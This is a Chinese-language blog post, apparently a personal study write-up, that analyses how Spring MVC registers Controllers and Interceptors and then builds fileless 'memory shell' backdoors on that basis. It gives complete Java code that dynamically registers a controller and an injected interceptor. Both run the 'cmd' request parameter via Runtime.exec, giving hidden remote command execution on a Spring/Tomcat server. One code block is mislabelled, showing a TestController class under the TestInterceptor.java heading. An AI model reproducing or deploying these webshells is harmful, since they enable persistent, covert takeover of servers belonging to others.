Spring Memory Shell

前言

前面学了Tomcat的Servlet和Filter内存马, 然后学了几天的spring,审了一个程序,就继续顺便把内存马的东西弄完吧。前面说到Servlet和Filter内存马其实都是在配置文件中注册一个Servlet或者Filter,因为他们的生命周期是到服务器结束才结束。其实Spring的controller的内存马也是如此,也是注册一个Controller来实现。因此我们需要了解SpringMVC中Controller注册的流程。

Controller注册流程

SpringMVC初始化时,在bean的构造方法以及设置属性之后会使用InitializingBean#afterPropertiesSet进行Bean的初始化操作,实现类 RequestMappingHandlerMapping 用来处理具有 @Controller 注解类中的方法级别的 @RequestMapping 以及 RequestMappingInfo 实例的创建,AbstractHandlerMapping是RequestMappingHandlerMapping的父类,并且AbstractHandlerMapping实现了InitializingBean接口,所以先来看一下RequestMappingHandlerMapping#afterPropertiesSet

public void afterPropertiesSet() {
   this.config = new RequestMappingInfo.BuilderConfiguration();
   this.config.setUrlPathHelper(getUrlPathHelper());
   this.config.setPathMatcher(getPathMatcher());
   this.config.setSuffixPatternMatch(this.useSuffixPatternMatch);
   this.config.setTrailingSlashMatch(this.useTrailingSlashMatch);
   this.config.setRegisteredSuffixPatternMatch(this.useRegisteredSuffixPatternMatch);
   this.config.setContentNegotiationManager(getContentNegotiationManager());

   super.afterPropertiesSet();
}

首先初始化了了一个config对象给自身的config属性,并且设置对应的值,然后调用的父类的afterPropertiesSet方法,也就是AbstractHandlerMapping#afterPropertiesSet

image-20220410200148683

AbstractHandlerMapping#afterPropertiesSet调用了initHandlerMethods方法,循环遍历Spring 中注册的 Bean并且使用processCandidateBean方法进行处理

protected void processCandidateBean(String beanName) {
   Class<?> beanType = null;
   try {
      beanType = obtainApplicationContext().getType(beanName);
   }
   catch (Throwable ex) {
      // An unresolvable bean type, probably from a lazy bean - let's ignore it.
      if (logger.isTraceEnabled()) {
         logger.trace("Could not resolve type for bean '" + beanName + "'", ex);
      }
   }
   if (beanType != null && isHandler(beanType)) {
      detectHandlerMethods(beanName);
   }
}

processCandidateBean方法,判断了beanType不为空并且是Handler,就调用detectHandlerMethods方法,这里的isHandler就是判断beanType是否有RequestMapping和Controller的注解

image-20220410200959111

首先通过反射获取当前Controller Bean的对象,并且获取当前bean的所有Handler Method,根据method定义是否带有RequestMapping注解,如果有,根据注解创建RequestMappinginfo对象

protected void detectHandlerMethods(Object handler) {
   Class<?> handlerType = (handler instanceof String ?
         obtainApplicationContext().getType((String) handler) : handler.getClass());

   if (handlerType != null) {
      Class<?> userType = ClassUtils.getUserClass(handlerType);
      Map<Method, T> methods = MethodIntrospector.selectMethods(userType,
            (MethodIntrospector.MetadataLookup<T>) method -> {
               try {
                  return getMappingForMethod(method, userType);
               }
               catch (Throwable ex) {
                  throw new IllegalStateException("Invalid mapping on handler class [" +
                        userType.getName() + "]: " + method, ex);
               }
            });
      if (logger.isTraceEnabled()) {
         logger.trace(formatMappings(userType, methods));
      }
      methods.forEach((method, mapping) -> {
         Method invocableMethod = AopUtils.selectInvocableMethod(method, userType);
         registerHandlerMethod(handler, invocableMethod, mapping);
      });
   }
}

return getMappingForMethod(method, userType);创建了RequestMappinginfo对象,methods.forEach((method, mapping)处循环遍历method,并且通过registerHandlerMethod把handler method与对应的RequestMappingInfo 创建映射

protected void registerHandlerMethod(Object handler, Method method, T mapping) {
   this.mappingRegistry.register(mapping, handler, method);
}

registerHandlerMethod调用mappingRegistry.register方法

public void register(T mapping, Object handler, Method method) {
   this.readWriteLock.writeLock().lock();
   try {
      HandlerMethod handlerMethod = createHandlerMethod(handler, method);
      assertUniqueMethodMapping(handlerMethod, mapping);
      this.mappingLookup.put(mapping, handlerMethod);

      List<String> directUrls = getDirectUrls(mapping);
      for (String url : directUrls) {
         this.urlLookup.add(url, mapping);
      }

      String name = null;
      if (getNamingStrategy() != null) {
         name = getNamingStrategy().getName(handlerMethod, mapping);
         addMappingName(name, handlerMethod);
      }

      CorsConfiguration corsConfig = initCorsConfiguration(handler, method, mapping);
      if (corsConfig != null) {
         this.corsLookup.put(handlerMethod, corsConfig);
      }

      this.registry.put(mapping, new MappingRegistration<>(mapping, handlerMethod, directUrls, name));
   }
   finally {
      this.readWriteLock.writeLock().unlock();
   }
}

把关键信息存储到自身的mappingLookup,urlLookup,corsLookup,registry属性下

Controller内存马编写

编写内存马的步骤如下

  • 利用spring内部方法获取context
  • 获得 RequestMappingHandlerMapping 的实例
  • 通过反射获得自定义Controller的恶意方法的Method对象
  • 定义对应的URL地址
  • 定义访问的方法
  • 动态注册Controller

结果如下

package com.ch1e.controller;

import jdk.internal.util.xml.impl.Input;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.ContextLoader;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;

@Controller
public class ch1e {
    @ResponseBody
    @RequestMapping(value = "/ch1e",method = RequestMethod.GET)
    public void ch1e() throws  Exception{
        //获取WebApplicationContext
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        //获取RequestMappingHandlerMapping
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        //获取恶意类的恶意方法
        Method injectMethod =zard.class.getMethod("inject");
        //定义访问恶意Controller的url
        PatternsRequestCondition url = new PatternsRequestCondition("/zard");
        //定义允许访问恶意controller的HTTP请求方法(GET/POST)
        RequestMethodsRequestCondition ms=new RequestMethodsRequestCondition();
        //动态注册Controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        zard zardController = new zard();
        mappingHandlerMapping.registerMapping(info, zardController, injectMethod);
    }
    //恶意类
    @ResponseBody
    public class zard{
        public zard(){}
        public String inject() throws Exception{
            //获取request
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            InputStream inputStream=Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            InputStreamReader inputStreamReader=new InputStreamReader(inputStream, "UTF-8");
            BufferedReader bufferedReader=new BufferedReader(inputStreamReader);
            String str="";
            String line = "";
            while ((line=bufferedReader.readLine())!=null){
                str=str+line;
            }
            inputStream.close();
            bufferedReader.close();
            return str;
        }
    }
}

Interceptor

在Spring MVC中Interceptor用来拦截客户请求,进行处理来实现某些功能

image-20220411175343724

在Web应用开发时,需要继承Spring MVC的HandlerInterceptorAdapter抽象类,实现父类的抽象方法preHandler(),postHandler(),afterCompletion(),在一个web应用中可以实现多个Interceptor,组成一个拦截器链,其中方法的执行顺序如下所示

image-20220411175942194

在配置文件中进行如下配置

<mvc:interceptor>
    <mvc:mapping path="/**"/>
    <mvc:exclude-mapping path="/login"/>
    <bean class="com.ch1e.ch1eInterceptor" />
</mvc:interceptor>

Interceptor的注册流程

首先我们先来随便写个Interceptor试试看

TestInterceptor.java

import org.aopalliance.intercept.Interceptor;
import org.springframework.lang.Nullable;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class TestInterceptor extends HandlerInterceptorAdapter {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
            throws Exception {
        String cmd = request.getParameter("cmd");
        Runtime.getRuntime().exec(cmd);
        return true;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler,
                           @Nullable ModelAndView modelAndView) throws Exception {
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler,
                                @Nullable Exception ex) throws Exception {
    }
}

并且在配置文件中注册这个Interceptor

<mvc:interceptors>
    <mvc:interceptor>
        <mvc:mapping path="/home/index"/>
        <bean class="TestInterceptor"/>
    </mvc:interceptor>
</mvc:interceptors>

启动我们的Tomcat服务器,访问即可成功命令执行

image-20220411195128806

接下来具体分析一下Interceptor的注册流程,先在TestInterceptor中打个断点,开启调试,具体调用栈如下

preHandle:13, TestInterceptor
applyPreHandle:136, HandlerExecutionChain (org.springframework.web.servlet)
doDispatch:1034, DispatcherServlet (org.springframework.web.servlet)
doService:942, DispatcherServlet (org.springframework.web.servlet)
processRequest:1005, FrameworkServlet (org.springframework.web.servlet)
doGet:897, FrameworkServlet (org.springframework.web.servlet)
service:635, HttpServlet (javax.servlet.http)
service:882, FrameworkServlet (org.springframework.web.servlet)
service:742, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:198, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:493, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:140, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:650, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:800, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:806, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1498, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

首先是在HandlerExecutionChain#applyPreHandler调用的TestInterceptor#preHandler,先通过getInterceptors获取到了所有的Interceptor,然后对他进行遍历,调用interceptor.preHandle方法

boolean applyPreHandle(HttpServletRequest request, HttpServletResponse response) throws Exception {
   HandlerInterceptor[] interceptors = getInterceptors();
   if (!ObjectUtils.isEmpty(interceptors)) {
      for (int i = 0; i < interceptors.length; i++) {
         HandlerInterceptor interceptor = interceptors[i];
         if (!interceptor.preHandle(request, response, this.handler)) {
            triggerAfterCompletion(request, response, null);
            return false;
         }
         this.interceptorIndex = i;
      }
   }
   return true;
}

继续往上找,在DispatcherServlet#doDispatch中调用了HandlerExecutionChain#applyPreHandler,通过mappedHandler = getHandler(processedRequest);获取到了一个HandlerExecutionChain对象

image-20220411200614156

然后在最后调用mappedHandler#applyPreHandle,现在我们弄清楚了他具体怎么调用,但是我们如果要动态注册Interceptor的话还需要知道他是从哪里被添加进来,我们可以看到在interceptors中有我们手动添加的TestInterceptor对象,而interceptors是通过getHandler方法进行获取的,所以这里进到getHandler方法看看

image-20220411200943021
protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
   if (this.handlerMappings != null) {
      for (HandlerMapping mapping : this.handlerMappings) {
         HandlerExecutionChain handler = mapping.getHandler(request);
         if (handler != null) {
            return handler;
         }
      }
   }
   return null;
}

遍历this.handlerMappings,获取HandlerMapping的实例,再调用getHandler方法,继续跟进getHandler方法,这里的话是调用的mapping的getHandler方法,mapping又是this.handlerMappings中的元素image-20220411201643400

这里实际上是调用实际上调用了org.springframework.web.servlet.handler.AbstractHandlerMapping类中的getHandler方法

image-20220411202053438

跟进getHandlerExecutionChain方法

image-20220411202408856

遍历了this.adaptedInterceptors,并判断nterceptor实例是不是MappedInterceptor类的实例对象,而MappedInterceptor类就是对拦截器HandlerInterceptor接口的实现,所以前面定义的TestInterceptor自然会被加入chain中并返回,所以我们需要动态注册Interceptor只需要在org.springframework.web.servlet.handler.AbstractHandlerMapping类的实例对象的adaptedInterceptors添加恶意interceptor实例

Interceptor具体实现

这里我也是参考了别的师傅的文章,但是每个师傅的马好像到我这都没法用,所以我这里改了一下别的师傅们的内存马,总体来说分下面几步

  • 获取WebApplicationContext
  • 从WebApplicationContext获取AbstractHandlerMapping 实例
  • 反射获取adaptedInterceptors ,注册拦截器

inject.java

package com.ch1e;


import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.handler.MappedInterceptor;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;


@RestController
public class inject {

    @GetMapping("/inject")
    public void inject(){
        try{
            //获取WebApplicationContext
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            // 从WebApplicationContext获取AbstractHandlerMapping 实例
            org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
            // 反射获取adaptedInterceptors ,注册拦截器
            Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            List<HandlerInterceptor> adaptedInterceptors = (ArrayList) field.get(abstractHandlerMapping);
            //实例化恶意的拦截器
            TestInterceptor m = new TestInterceptor();
            // 创建MappedInterceptor
            String[] path = new String[]{"/Test"};
            MappedInterceptor mi = new MappedInterceptor(path,null,m);
            adaptedInterceptors.add(mi);
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

TestInterceptor.java

package com.ch1e;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
@ResponseBody
public class TestController {
    @RequestMapping("/Test")
    public String Test(){
        return "hello Ch1e";
    }
}

成功image-20220412115057265

踩坑

别的师傅的内存马是使用如下方法来获取WebApplicationContext和AbstractHandlerMapping,但是我弄了一晚上,发现在我这并不行,所以我换成了我现在的这个。会提示找不到requestMappingHandlerMapping这个bean

            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
            // 从context中获得 AbstractHandlerMapping 的实例
            AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");

总结

这次Controller内存马的文章前面的分析过程参考了su18师傅,Interceptor的内存马是参照好几个师傅的马写出来的,总体来说还是有一些地方暂时没有理解,后续可能会继续往这里进行补充,会二刷内存马